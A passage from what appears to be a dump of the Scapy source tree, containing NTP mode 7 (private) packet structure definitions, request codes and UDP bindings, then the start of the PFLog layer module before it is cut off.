FixedPointField(\"dispersion\", 0, size=32, frac_bits=16),\n        IntField(\"v6_flag\", 0),\n        IntField(\"unused1\", 0),\n        IP6Field(\"dstaddr6\", \"::\"),\n        IP6Field(\"srcaddr6\", \"::\")\n    ]\n\n\nclass NTPInfoPeer(Packet):\n    \"\"\"\n    Peer information structure.\n    \"\"\"\n\n    name = \"info_peer\"\n    fields_desc = [\n        IPField(\"dstaddr\", \"0.0.0.0\"),\n        IPField(\"srcaddr\", \"0.0.0.0\"),\n        ShortField(\"srcport\", 0),\n        FlagsField(\"flags\", 0, 8, _peer_flags),\n        ByteField(\"leap\", 0),\n        ByteEnumField(\"hmode\", 0, _ntp_modes),\n        ByteField(\"pmode\", 0),\n        ByteField(\"stratum\", 0),\n        ByteField(\"ppoll\", 0),\n        ByteField(\"hpoll\", 0),\n        SignedByteField(\"precision\", 0),\n        ByteField(\"version\", 0),\n        ByteField(\"unused8\", 0),\n        ByteField(\"reach\", 0),\n        ByteField(\"unreach\", 0),\n        XByteField(\"flash\", 0),\n        ByteField(\"ttl\", 0),\n        XLEShortField(\"flash2\", 0),\n        ShortField(\"associd\", 0),\n        LEIntField(\"keyid\", 0),\n        IntField(\"pkeyid\", 0),\n        IPField(\"refid\", 0),\n        IntField(\"timer\", 0),\n        FixedPointField(\"rootdelay\", 0, size=32, frac_bits=16),\n        FixedPointField(\"rootdispersion\", 0, size=32, frac_bits=16),\n        TimeStampField(\"reftime\", 0),\n        TimeStampField(\"org\", 0),\n        TimeStampField(\"rec\", 0),\n        TimeStampField(\"xmt\", 0),\n        FieldListField(\n            \"filtdelay\",\n            [0.0 for i in range(0, _NTP_SHIFT)],\n            FixedPointField(\"\", 0, size=32, frac_bits=16),\n            count_from=lambda p: _NTP_SHIFT\n        ),\n        FieldListField(\n            \"filtoffset\",\n            [0.0 for i in range(0, _NTP_SHIFT)],\n            TimeStampField(\"\", 0),\n            count_from=lambda p: _NTP_SHIFT\n        ),\n        FieldListField(\n            \"order\",\n            [0 for i in range(0, _NTP_SHIFT)],\n            ByteField(\"\", 0),\n            count_from=lambda p: _NTP_SHIFT\n        ),\n        FixedPointField(\"delay\", 0, size=32, frac_bits=16),\n        FixedPointField(\"dispersion\", 0, size=32, frac_bits=16),\n        TimeStampField(\"offset\", 0),\n        FixedPointField(\"selectdisp\", 0, size=32, frac_bits=16),\n        IntField(\"unused1\", 0),\n        IntField(\"unused2\", 0),\n        IntField(\"unused3\", 0),\n        IntField(\"unused4\", 0),\n        IntField(\"unused5\", 0),\n        IntField(\"unused6\", 0),\n        IntField(\"unused7\", 0),\n        FixedPointField(\"estbdelay\", 0, size=32, frac_bits=16),\n        IntField(\"v6_flag\", 0),\n        IntField(\"unused9\", 0),\n        IP6Field(\"dstaddr6\", \"::\"),\n        IP6Field(\"srcaddr6\", \"::\"),\n    ]\n\n\nclass NTPInfoPeerStats(Packet):\n    \"\"\"\n    Peer statistics structure.\n    \"\"\"\n\n    name = \"info_peer_stats\"\n    fields_desc = [\n        IPField(\"dstaddr\", \"0.0.0.0\"),\n        IPField(\"srcaddr\", \"0.0.0.0\"),\n        ShortField(\"srcport\", 0),\n        FlagsField(\"flags\", 0, 16, _peer_flags),\n        IntField(\"timereset\", 0),\n        IntField(\"timereceived\", 0),\n        IntField(\"timetosend\", 0),\n        IntField(\"timereachable\", 0),\n        IntField(\"sent\", 0),\n        IntField(\"unused1\", 0),\n        IntField(\"processed\", 0),\n        IntField(\"unused2\", 0),\n        IntField(\"badauth\", 0),\n        IntField(\"bogusorg\", 0),\n        IntField(\"oldpkt\", 0),\n        IntField(\"unused3\", 0),\n        IntField(\"unused4\", 0),\n        IntField(\"seldisp\", 0),\n        IntField(\"selbroken\", 0),\n        IntField(\"unused5\", 0),\n        ByteField(\"candidate\", 0),\n        ByteField(\"unused6\", 0),\n        ByteField(\"unused7\", 0),\n        ByteField(\"unused8\", 0),\n        IntField(\"v6_flag\", 0),\n        IntField(\"unused9\", 0),\n        IP6Field(\"dstaddr6\", \"::\"),\n        IP6Field(\"srcaddr6\", \"::\"),\n    ]\n\n\nclass NTPInfoLoop(Packet):\n    \"\"\"\n    Loop filter variables.\n    \"\"\"\n\n    name = \"info_loop\"\n    fields_desc = [\n        TimeStampField(\"last_offset\", 0),\n        TimeStampField(\"drift_comp\", 0),\n        IntField(\"compliance\", 0),\n        IntField(\"watchdog_timer\", 0)\n    ]\n\n\nclass NTPInfoSys(Packet):\n    \"\"\"\n    System info. Mostly the sys.* variables, plus a few unique to\n    the implementation.\n    \"\"\"\n\n    name = \"info_sys\"\n    fields_desc = [\n        IPField(\"peer\", \"0.0.0.0\"),\n        ByteField(\"peer_mode\", 0),\n        ByteField(\"leap\", 0),\n        ByteField(\"stratum\", 0),\n        SignedByteField(\"precision\", 0),\n        FixedPointField(\"rootdelay\", 0, size=32, frac_bits=16),\n        FixedPointField(\"rootdispersion\", 0, size=32, frac_bits=16),\n        IPField(\"refid\", 0),\n        TimeStampField(\"reftime\", 0),\n        IntField(\"poll\", 0),\n        FlagsField(\"flags\", 0, 8, _sys_info_flags),\n        ByteField(\"unused1\", 0),\n        ByteField(\"unused2\", 0),\n        ByteField(\"unused3\", 0),\n        FixedPointField(\"bdelay\", 0, size=32, frac_bits=16),\n        FixedPointField(\"frequency\", 0, size=32, frac_bits=16),\n        TimeStampField(\"authdelay\", 0),\n        FixedPointField(\"stability\", 0, size=32, frac_bits=16),\n        IntField(\"v6_flag\", 0),\n        IntField(\"unused4\", 0),\n        IP6Field(\"peer6\", \"::\")\n    ]\n\n\nclass NTPInfoSysStats(Packet):\n    \"\"\"\n    System stats. These are collected in the protocol module.\n    \"\"\"\n\n    name = \"info_sys_stats\"\n    fields_desc = [\n        IntField(\"timeup\", 0),\n        IntField(\"timereset\", 0),\n        IntField(\"denied\", 0),\n        IntField(\"oldversionpkt\", 0),\n        IntField(\"newversionpkt\", 0),\n        IntField(\"unknownversion\", 0),\n        IntField(\"badlength\", 0),\n        IntField(\"processed\", 0),\n        IntField(\"badauth\", 0),\n        IntField(\"received\", 0),\n        IntField(\"limitrejected\", 0)\n    ]\n\n\nclass NTPInfoMemStats(Packet):\n    \"\"\"\n    Peer memory statistics.\n    \"\"\"\n\n    name = \"info_mem_stats\"\n    fields_desc = [\n        IntField(\"timereset\", 0),\n        ShortField(\"totalpeermem\", 0),\n        ShortField(\"freepeermem\", 0),\n        IntField(\"findpeer_calls\", 0),\n        IntField(\"allocations\", 0),\n        IntField(\"demobilizations\", 0),\n        FieldListField(\n            \"hashcount\",\n            [0.0 for i in range(0, _NTP_HASH_SIZE)],\n            ByteField(\"\", 0),\n            count_from=lambda p: _NTP_HASH_SIZE,\n            max_count=_NTP_HASH_SIZE\n        )\n    ]\n\n\nclass NTPInfoIOStats(Packet):\n    \"\"\"\n    I/O statistics.\n    \"\"\"\n\n    name = \"info_io_stats\"\n    fields_desc = [\n        IntField(\"timereset\", 0),\n        ShortField(\"totalrecvbufs\", 0),\n        ShortField(\"freerecvbufs\", 0),\n        ShortField(\"fullrecvbufs\", 0),\n        ShortField(\"lowwater\", 0),\n        IntField(\"dropped\", 0),\n        IntField(\"ignored\", 0),\n        IntField(\"received\", 0),\n        IntField(\"sent\", 0),\n        IntField(\"notsent\", 0),\n        IntField(\"interrupts\", 0),\n        IntField(\"int_received\", 0)\n    ]\n\n\nclass NTPInfoTimerStats(Packet):\n    \"\"\"\n    Timer stats.\n    \"\"\"\n\n    name = \"info_timer_stats\"\n    fields_desc = [\n        IntField(\"timereset\", 0),\n        IntField(\"alarms\", 0),\n        IntField(\"overflows\", 0),\n        IntField(\"xmtcalls\", 0),\n    ]\n\n\n_conf_peer_flags = [\n    \"CONF_FLAG_AUTHENABLE\",\n    \"CONF_FLAG_PREFER\",\n    \"CONF_FLAG_BURST\",\n    \"CONF_FLAG_IBURST\",\n    \"CONF_FLAG_NOSELECT\",\n    \"CONF_FLAG_SKEY\"\n]\n\n\nclass NTPConfPeer(Packet):\n    \"\"\"\n    Structure for passing peer configuration information.\n    \"\"\"\n\n    name = \"conf_peer\"\n    fields_desc = [\n        IPField(\"peeraddr\", \"0.0.0.0\"),\n        ByteField(\"hmode\", 0),\n        ByteField(\"version\", 0),\n        ByteField(\"minpoll\", 0),\n        ByteField(\"maxpoll\", 0),\n        FlagsField(\"flags\", 0, 8, _conf_peer_flags),\n        ByteField(\"ttl\", 0),\n        ShortField(\"unused1\", 0),\n        IntField(\"keyid\", 0),\n        StrFixedLenField(\"keystr\", \"\", length=128),\n        IntField(\"v6_flag\", 0),\n        IntField(\"unused2\", 0),\n        IP6Field(\"peeraddr6\", \"::\")\n    ]\n\n\nclass NTPConfUnpeer(Packet):\n    \"\"\"\n    Structure for passing peer deletion information.\n    \"\"\"\n\n    name = \"conf_unpeer\"\n    fields_desc = [\n        IPField(\"peeraddr\", \"0.0.0.0\"),\n        IntField(\"v6_flag\", 0),\n        IP6Field(\"peeraddr6\", \"::\")\n    ]\n\n\n_restrict_flags = [\n    \"RES_IGNORE\",\n    \"RES_DONTSERVE\",\n    \"RES_DONTTRUST\",\n    \"RES_VERSION\",\n    \"RES_NOPEER\",\n    \"RES_LIMITED\",\n    \"RES_NOQUERY\",\n    \"RES_NOMODIFY\",\n    \"RES_NOTRAP\",\n    \"RES_LPTRAP\",\n    \"RES_KOD\",\n    \"RES_MSSNTP\",\n    \"RES_FLAKE\",\n    \"RES_NOMRULIST\",\n]\n\n\nclass NTPConfRestrict(Packet):\n    \"\"\"\n    Structure used for specifying restrict entries.\n    \"\"\"\n\n    name = \"conf_restrict\"\n    fields_desc = [\n        IPField(\"addr\", \"0.0.0.0\"),\n        IPField(\"mask\", \"0.0.0.0\"),\n        FlagsField(\"flags\", 0, 16, _restrict_flags),\n        ShortField(\"m_flags\", 0),\n        IntField(\"v6_flag\", 0),\n        IP6Field(\"addr6\", \"::\"),\n        IP6Field(\"mask6\", \"::\")\n    ]\n\n\nclass NTPInfoKernel(Packet):\n    \"\"\"\n    Structure used for returning kernel pll/PPS information\n    \"\"\"\n\n    name = \"info_kernel\"\n    fields_desc = [\n        IntField(\"offset\", 0),\n        IntField(\"freq\", 0),\n        IntField(\"maxerror\", 0),\n        IntField(\"esterror\", 0),\n        ShortField(\"status\", 0),\n        ShortField(\"shift\", 0),\n        IntField(\"constant\", 0),\n        IntField(\"precision\", 0),\n        IntField(\"tolerance\", 0),\n        IntField(\"ppsfreq\", 0),\n        IntField(\"jitter\", 0),\n        IntField(\"stabil\", 0),\n        IntField(\"jitcnt\", 0),\n        IntField(\"calcnt\", 0),\n        IntField(\"errcnt\", 0),\n        IntField(\"stbcnt\", 0),\n    ]\n\n\nclass NTPInfoIfStatsIPv4(Packet):\n    \"\"\"\n    Interface statistics.\n    \"\"\"\n\n    name = \"info_if_stats\"\n    fields_desc = [\n        PadField(IPField(\"unaddr\", \"0.0.0.0\"), 16, padwith=b\"\\x00\"),\n        PadField(IPField(\"unbcast\", \"0.0.0.0\"), 16, padwith=b\"\\x00\"),\n        PadField(IPField(\"unmask\", \"0.0.0.0\"), 16, padwith=b\"\\x00\"),\n        IntField(\"v6_flag\", 0),\n        StrFixedLenField(\"ifname\", \"\", length=32),\n        IntField(\"flags\", 0),\n        IntField(\"last_ttl\", 0),\n        IntField(\"num_mcast\", 0),\n        IntField(\"received\", 0),\n        IntField(\"sent\", 0),\n        IntField(\"notsent\", 0),\n        IntField(\"uptime\", 0),\n        IntField(\"scopeid\", 0),\n        IntField(\"ifindex\", 0),\n        IntField(\"ifnum\", 0),\n        IntField(\"peercnt\", 0),\n        ShortField(\"family\", 0),\n        ByteField(\"ignore_packets\", 0),\n        ByteField(\"action\", 0),\n        IntField(\"_filler0\", 0)\n    ]\n\n\nclass NTPInfoIfStatsIPv6(Packet):\n    \"\"\"\n    Interface statistics.\n    \"\"\"\n\n    name = \"info_if_stats\"\n    fields_desc = [\n        IP6Field(\"unaddr\", \"::\"),\n        IP6Field(\"unbcast\", \"::\"),\n        IP6Field(\"unmask\", \"::\"),\n        IntField(\"v6_flag\", 0),\n        StrFixedLenField(\"ifname\", \"\", length=32),\n        IntField(\"flags\", 0),\n        IntField(\"last_ttl\", 0),\n        IntField(\"num_mcast\", 0),\n        IntField(\"received\", 0),\n        IntField(\"sent\", 0),\n        IntField(\"notsent\", 0),\n        IntField(\"uptime\", 0),\n        IntField(\"scopeid\", 0),\n        IntField(\"ifindex\", 0),\n        IntField(\"ifnum\", 0),\n        IntField(\"peercnt\", 0),\n        ShortField(\"family\", 0),\n        ByteField(\"ignore_packets\", 0),\n        ByteField(\"action\", 0),\n        IntField(\"_filler0\", 0)\n    ]\n\n\nclass NTPInfoMonitor1(Packet):\n    \"\"\"\n    Structure used for returning monitor data.\n    \"\"\"\n\n    name = \"InfoMonitor1\"\n    fields_desc = [\n        IntField(\"lasttime\", 0),\n        IntField(\"firsttime\", 0),\n        IntField(\"lastdrop\", 0),\n        IntField(\"count\", 0),\n        IPField(\"addr\", \"0.0.0.0\"),\n        IPField(\"daddr\", \"0.0.0.0\"),\n        IntField(\"flags\", 0),\n        ShortField(\"port\", 0),\n        ByteField(\"mode\", 0),\n        ByteField(\"version\", 0),\n        IntField(\"v6_flag\", 0),\n        IntField(\"unused1\", 0),\n        IP6Field(\"addr6\", \"::\"),\n        IP6Field(\"daddr6\", \"::\")\n    ]\n\n\nclass NTPInfoAuth(Packet):\n    \"\"\"\n    Structure used to return information concerning the authentication module.\n    \"\"\"\n\n    name = \"info_auth\"\n    fields_desc = [\n        IntField(\"timereset\", 0),\n        IntField(\"numkeys\", 0),\n        IntField(\"numfreekeys\", 0),\n        IntField(\"keylookups\", 0),\n        IntField(\"keynotfound\", 0),\n        IntField(\"encryptions\", 0),\n        IntField(\"decryptions\", 0),\n        IntField(\"expired\", 0),\n        IntField(\"keyuncached\", 0),\n    ]\n\n\nclass NTPConfTrap(Packet):\n    \"\"\"\n    Structure used to pass add/clear trap information to the client\n    \"\"\"\n\n    name = \"conf_trap\"\n    fields_desc = [\n        IPField(\"local_address\", \"0.0.0.0\"),\n        IPField(\"trap_address\", \"0.0.0.0\"),\n        ShortField(\"trap_port\", 0),\n        ShortField(\"unused\", 0),\n        IntField(\"v6_flag\", 0),\n        IP6Field(\"local_address6\", \"::\"),\n        IP6Field(\"trap_address6\", \"::\"),\n    ]\n\n\nclass NTPInfoControl(Packet):\n    \"\"\"\n    Structure used to return statistics from the control module.\n    \"\"\"\n\n    name = \"info_control\"\n    fields_desc = [\n        IntField(\"ctltimereset\", 0),\n        IntField(\"numctlreq\", 0),\n        IntField(\"numctlbadpkts\", 0),\n        IntField(\"numctlresponses\", 0),\n        IntField(\"numctlfrags\", 0),\n        IntField(\"numctlerrors\", 0),\n        IntField(\"numctltooshort\", 0),\n        IntField(\"numctlinputresp\", 0),\n        IntField(\"numctlinputfrag\", 0),\n        IntField(\"numctlinputerr\", 0),\n        IntField(\"numctlbadoffset\", 0),\n        IntField(\"numctlbadversion\", 0),\n        IntField(\"numctldatatooshort\", 0),\n        IntField(\"numctlbadop\", 0),\n        IntField(\"numasyncmsgs\", 0),\n    ]\n\n\n# ntp_request.h\n_ntpd_private_errors = {\n    0: \"no error\",\n    1: \"incompatible implementation number\",\n    2: \"unimplemented request code\",\n    3: \"format error (wrong data items, data size, packet size etc.)\",\n    4: \"no data available (e.g. request for details on unknown peer)\",\n    5: \"I don\\\"t know\",\n    6: \"I don\\\"t know\",\n    7: \"authentication failure (i.e. permission denied)\",\n}\n\n\n# dict mapping request codes to the right response data class\n_private_data_objects = {\n    0: NTPInfoPeerList,  # \"REQ_PEER_LIST\",\n    1: NTPInfoPeerSummary,  # \"REQ_PEER_LIST_SUM\",\n    2: NTPInfoPeer,  # \"REQ_PEER_INFO\",\n    3: NTPInfoPeerStats,  # \"REQ_PEER_STATS\",\n    4: NTPInfoSys,  # \"REQ_SYS_INFO\",\n    5: NTPInfoSysStats,  # \"REQ_SYS_STATS\",\n    6: NTPInfoIOStats,  # \"REQ_IO_STATS\",\n    7: NTPInfoMemStats,  # \"REQ_MEM_STATS\",\n    8: NTPInfoLoop,  # \"REQ_LOOP_INFO\",\n    9: NTPInfoTimerStats,  # \"REQ_TIMER_STATS\",\n    10: NTPConfPeer,  # \"REQ_CONFIG\",\n    11: NTPConfUnpeer,  # \"REQ_UNCONFIG\",\n    28: NTPInfoAuth,  # \"REQ_AUTHINFO\",\n    30: NTPConfTrap,  # \"REQ_ADD_TRAP\",\n    34: NTPInfoControl,  # \"REQ_GET_CTLSTATS\",\n    38: NTPInfoKernel,  # \"REQ_GET_KERNEL\",\n    42: NTPInfoMonitor1,  # \"REQ_MON_GETLIST_1\",\n}\n\n\nclass NTPPrivateRespPacketListField(PacketListField):\n    \"\"\"\n    PacketListField handling the response data.\n    \"\"\"\n\n    def m2i(self, pkt, s):\n        ret = None\n\n        # info_if_stats\n        if pkt.request_code == 44 or pkt.request_code == 45:\n            is_v6 = struct.unpack(\"!I\", s[48:52])[0]\n            ret = NTPInfoIfStatsIPv6(s) if is_v6 else NTPInfoIfStatsIPv4(s)\n        else:\n            ret = _private_data_objects.get(pkt.request_code, conf.raw_layer)(s)  # noqa: E501\n\n        return ret\n\n    def getfield(self, pkt, s):\n        lst = []\n        remain = s\n        length = pkt.data_item_size\n        if length > 0:\n            item_counter = 0\n            # Response payloads can be placed in several packets\n            while len(remain) >= pkt.data_item_size and item_counter < pkt.nb_items:  # noqa: E501\n                current = remain[:length]\n                remain = remain[length:]\n                current_packet = self.m2i(pkt, current)\n                lst.append(current_packet)\n                item_counter += 1\n\n        return remain, lst\n\n\nclass NTPPrivateReqPacket(Packet):\n    \"\"\"\n    Packet handling request data.\n    \"\"\"\n\n    name = \"request data\"\n    fields_desc = [StrField(\"req_data\", \"\")]\n\n\n_request_codes = {\n    0: \"REQ_PEER_LIST\",\n    1: \"REQ_PEER_LIST_SUM\",\n    2: \"REQ_PEER_INFO\",\n    3: \"REQ_PEER_STATS\",\n    4: \"REQ_SYS_INFO\",\n    5: \"REQ_SYS_STATS\",\n    6: \"REQ_IO_STATS\",\n    7: \"REQ_MEM_STATS\",\n    8: \"REQ_LOOP_INFO\",\n    9: \"REQ_TIMER_STATS\",\n    10: \"REQ_CONFIG\",\n    11: \"REQ_UNCONFIG\",\n    12: \"REQ_SET_SYS_FLAG\",\n    13: \"REQ_CLR_SYS_FLAG\",\n    14: \"REQ_MONITOR\",\n    15: \"REQ_NOMONITOR\",\n    16: \"REQ_GET_RESTRICT\",\n    17: \"REQ_RESADDFLAGS\",\n    18: \"REQ_RESSUBFLAGS\",\n    19: \"REQ_UNRESTRICT\",\n    20: \"REQ_MON_GETLIST\",\n    21: \"REQ_RESET_STATS\",\n    22: \"REQ_RESET_PEER\",\n    23: \"REQ_REREAD_KEYS\",\n    24: \"REQ_DO_DIRTY_HACK\",\n    25: \"REQ_DONT_DIRTY_HACK\",\n    26: \"REQ_TRUSTKEY\",\n    27: \"REQ_UNTRUSTKEY\",\n    28: \"REQ_AUTHINFO\",\n    29: \"REQ_TRAPS\",\n    30: \"REQ_ADD_TRAP\",\n    31: \"REQ_CLR_TRAP\",\n    32: \"REQ_REQUEST_KEY\",\n    33: \"REQ_CONTROL_KEY\",\n    34: \"REQ_GET_CTLSTATS\",\n    35: \"REQ_GET_LEAPINFO\",\n    36: \"REQ_GET_CLOCKINFO\",\n    37: \"REQ_SET_CLKFUDGE\",\n    38: \"REQ_GET_KERNEL\",\n    39: \"REQ_GET_CLKBUGINFO\",\n    41: \"REQ_SET_PRECISION\",\n    42: \"REQ_MON_GETLIST_1\",\n    43: \"REQ_HOSTNAME_ASSOCID\",\n    44: \"REQ_IF_STATS\",\n    45: \"REQ_IF_RELOAD\"\n}\n\n\nclass NTPPrivateReqPacketListField(PacketListField):\n    \"\"\"\n    Handles specific request packets.\n    \"\"\"\n\n    # See ntpdc/ntpdc.c and ntpdc/ntpdc_ops.c\n\n    def m2i(self, pkt, s):\n        ret = None\n\n        if pkt.request_code == 2 or pkt.request_code == 3:\n            # REQ_PEER_INFO (see ntpdc/ntpdc_ops.c: showpeer())\n            # REQ_PEER_STATS (for request only)\n            ret = NTPInfoPeerList(s)\n\n        elif pkt.request_code == 10:\n            # REQ_CONFIG\n            ret = NTPConfPeer(s)\n\n        elif pkt.request_code == 11:\n            # REQ_CONFIG\n            ret = NTPConfUnpeer(s)\n\n        elif pkt.request_code == 17:\n            # REQ_RESADDFLAGS\n            ret = NTPConfRestrict(s)\n\n        elif pkt.request_code == 18:\n            # REQ_RESSUBFLAGS\n            ret = NTPConfRestrict(s)\n\n        elif pkt.request_code == 22:\n            # REQ_RESET_PEER\n            ret = NTPConfUnpeer(s)\n\n        elif pkt.request_code == 30 or pkt.request_code == 31:\n            # REQ_ADD_TRAP\n            ret = NTPConfTrap(s)\n\n        else:\n            ret = NTPPrivateReqPacket(s)\n\n        return ret\n\n    def getfield(self, pkt, s):\n        lst = []\n        remain = s\n        length = pkt.data_item_size\n        if length > 0:\n            item_counter = 0\n            while len(remain) >= pkt.data_item_size * pkt.nb_items and item_counter < pkt.nb_items:  # noqa: E501\n                current = remain[:length]\n                remain = remain[length:]\n                current_packet = self.m2i(pkt, current)\n                lst.append(current_packet)\n                item_counter += 1\n\n        # If \"auth\" bit is set, don't forget the padding bytes\n        if pkt.auth:\n            padding_end = len(remain) - _NTP_PRIVATE_REQ_PKT_TAIL_LEN\n            current_packet = conf.raw_layer(remain[:padding_end])\n            lst.append(current_packet)\n            remain = remain[padding_end:]\n\n        return remain, lst\n\n\nclass NTPPrivatePktTail(Packet):\n    \"\"\"\n    include/ntp_request.h\n    The req_pkt_tail structure is used by ntpd to adjust for different\n    packet sizes that may arrive.\n    \"\"\"\n\n    name = \"req_pkt_tail\"\n    fields_desc = [\n        TimeStampField(\"tstamp\", 0),\n        IntField(\"key_id\", 0),\n        XStrFixedLenField(\n            \"dgst\", \"\", length_from=lambda x: _NTP_AUTH_MD5_DGST_SIZE)\n    ]\n\n\nclass NTPPrivate(NTP):\n    \"\"\"\n    Packet handling the private (mode 7) messages.\n    \"\"\"\n\n    #########################################################################\n    # ntpd source code: ntp_request.h\n    #########################################################################\n    #\n    # A mode 7 packet is used exchanging data between an NTP server\n    # and a client for purposes other than time synchronization, e.g.\n    # monitoring, statistics gathering and configuration.  A mode 7\n    # packet has the following format:\n    #\n    #    0                        1                   2                   3\n    #    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n    #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    #   |R|M| VN  | Mode|A|  Sequence   | Implementation|   Req Code    |\n    #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    #   |  Err  | Number of data items  |  MBZ  |   Size of data item   |\n    #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    #   |                                                               |\n    #   |            Data (Minimum 0 octets, maximum 500 octets)        |\n    #   |                                                               |\n    #                            [...]                                  |\n    #   |                                                               |\n    #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    #   |               Encryption Keyid (when A bit set)               |\n    #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    #   |                                                               |\n    #   |          Message Authentication Code (when A bit set)         |\n    #   |                                                               |\n    #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    #\n    # where the fields are (note that the client sends requests, the server\n    # responses):\n    #\n    # Response Bit:  This packet is a response (if clear, packet is a request).\n    #\n    # More Bit: Set for all packets but the last in a response which\n    #           requires more than one packet.\n    #\n    # Version Number: 2 for current version\n    #\n    # Mode:     Always 7\n    #\n    # Authenticated bit: If set, this packet is authenticated.\n    #\n    # Sequence number: For a multipacket response, contains the sequence\n    #           number of this packet.  0 is the first in the sequence,\n    #           127 (or less) is the last.  The More Bit must be set in\n    #           all packets but the last.\n    #\n    # Implementation number: The number of the implementation this request code\n    #           is defined by.  An implementation number of zero is used\n    #           for request codes/data formats which all implementations\n    #           agree on.  Implementation number 255 is reserved (for\n    #           extensions, in case we run out).\n    #\n    # Request code: An implementation-specific code which specifies the\n    #           operation to be (which has been) performed and/or the\n    #           format and semantics of the data included in the packet.\n    #\n    # Err:      Must be 0 for a request.  For a response, holds an error\n    #           code relating to the request.  If nonzero, the operation\n    #           requested wasn't performed.\n    #\n    #           0 - no error\n    #           1 - incompatible implementation number\n    #           2 - unimplemented request code\n    #           3 - format error (wrong data items, data size, packet size etc.)  # noqa: E501\n    #           4 - no data available (e.g. request for details on unknown peer)  # noqa: E501\n    #           5-6 I don\"t know\n    #           7 - authentication failure (i.e. permission denied)\n    #\n    # Number of data items: number of data items in packet.  0 to 500\n    #\n    # MBZ:      A reserved data field, must be zero in requests and responses.\n    #\n    # Size of data item: size of each data item in packet.  0 to 500\n    #\n    # Data:     Variable sized area containing request/response data.  For\n    #           requests and responses the size in octets must be greater\n    #           than or equal to the product of the number of data items\n    #           and the size of a data item.  For requests the data area\n    #           must be exactly 40 octets in length.  For responses the\n    #           data area may be any length between 0 and 500 octets\n    #           inclusive.\n    #\n    # Message Authentication Code: Same as NTP spec, in definition and function.  # noqa: E501\n    #           May optionally be included in requests which require\n    #           authentication, is never included in responses.\n    #\n    # The version number, mode and keyid have the same function and are\n    # in the same location as a standard NTP packet.  The request packet\n    # is the same size as a standard NTP packet to ease receive buffer\n    # management, and to allow the same encryption procedure to be used\n    # both on mode 7 and standard NTP packets.  The mac is included when\n    # it is required that a request be authenticated, the keyid should be\n    # zero in requests in which the mac is not included.\n    #\n    # The data format depends on the implementation number/request code pair\n    # and whether the packet is a request or a response.  The only requirement\n    # is that data items start in the octet immediately following the size\n    # word and that data items be concatenated without padding between (i.e.\n    # if the data area is larger than data_items*size, all padding is at\n    # the end).  Padding is ignored, other than for encryption purposes.\n    # Implementations using encryption might want to include a time stamp\n    # or other data in the request packet padding.  The key used for requests\n    # is implementation defined, but key 15 is suggested as a default.\n    #########################################################################\n    #\n\n    name = \"Private (mode 7)\"\n    match_subclass = True\n    fields_desc = [\n        BitField(\"response\", 0, 1),\n        BitField(\"more\", 0, 1),\n        BitField(\"version\", 2, 3),\n        BitEnumField(\"mode\", 7, 3, _ntp_modes),\n        BitField(\"auth\", 0, 1),\n        BitField(\"seq\", 0, 7),\n        ByteEnumField(\"implementation\", 0, _implementations),\n        ByteEnumField(\"request_code\", 0, _request_codes),\n        BitEnumField(\"err\", 0, 4, _ntpd_private_errors),\n        BitField(\"nb_items\", 0, 12),\n        BitField(\"mbz\", 0, 4),\n        BitField(\"data_item_size\", 0, 12),\n        ConditionalField(\n            NTPPrivateReqPacketListField(\n                \"req_data\",\n                [],\n                Packet,\n                length_from=lambda p: p.data_item_size,\n                count_from=lambda p: p.nb_items\n            ),\n            lambda p: p.response == 0\n        ),\n        # Responses\n        ConditionalField(\n            NTPPrivateRespPacketListField(\n                \"data\",\n                [],\n                Packet,\n                length_from=lambda p: p.data_item_size,\n                count_from=lambda p: p.nb_items\n            ),\n            lambda p: p.response == 1\n        ),\n        # Responses are not supposed to be authenticated\n        ConditionalField(PacketField(\"authenticator\", \"\", NTPPrivatePktTail),\n                         lambda p: p.response == 0 and p.auth == 1),\n    ]\n\n\n##############################################################################\n#     Layer bindings\n##############################################################################\n\nbind_layers(UDP, NTP, {\"sport\": 123})\nbind_layers(UDP, NTP, {\"dport\": 123})\nbind_layers(UDP, NTP, {\"sport\": 123, \"dport\": 123})\n"
  },
  {
    "path": "scapy/layers/pflog.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nPFLog: OpenBSD PF packet filter logging.\n\"\"\"\n\nfrom scapy.data import DLT_PFLOG\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import ByteEnumField, ByteField, IntField, \\\n    IPField, IP6Field, MultipleTypeField, PadField, ShortField, \\\n    SignedIntField, StrFixedLenField, YesNoByteField\nfrom scapy.layers.inet import IP\nfrom scapy.config import conf\nif conf.ipv6_enabled:\n    from scapy.layers.inet6 import IPv6\n\n# from OpenBSD src/sys/sys/socket.h\n# define\tAF_INET\t\t2\n# define\tAF_INET6\t24\nOPENBSD_AF_INET = 2\nOPENBSD_AF_INET6 = 24\n\n# from OpenBSD src/sys/net/if_pflog.h\n# define PFLOG_HDRLEN\t\tsizeof(struct pfloghdr)\nPFLOG_HDRLEN = 100\n\n\nclass PFLog(Packet):\n    \"\"\"\n    Class for handling PFLog headers\n    \"\"\"\n    name = \"PFLog\"\n    # from OpenBSD src/sys/net/pfvar.h\n    # and src/sys/net/if_pflog.h (struct pfloghdr)\n    fields_desc = [ByteField(\"hdrlen\", PFLOG_HDRLEN),\n                   ByteEnumField(\"addrfamily\", 2, {OPENBSD_AF_INET: \"IPv4\",\n                                                   OPENBSD_AF_INET6: \"IPv6\"}),\n                   ByteEnumField(\"action\", 1, {0: \"pass\", 1: \"drop\",\n                                               2: \"scrub\", 3: \"no-scrub\",\n                                               4: \"nat\", 5: \"no-nat\",\n                                               6: \"binat\", 7: \"no-binat\",\n                                               8: \"rdr\", 9: \"no-rdr\",\n                                               10: \"syn-proxy-drop\"}),\n                   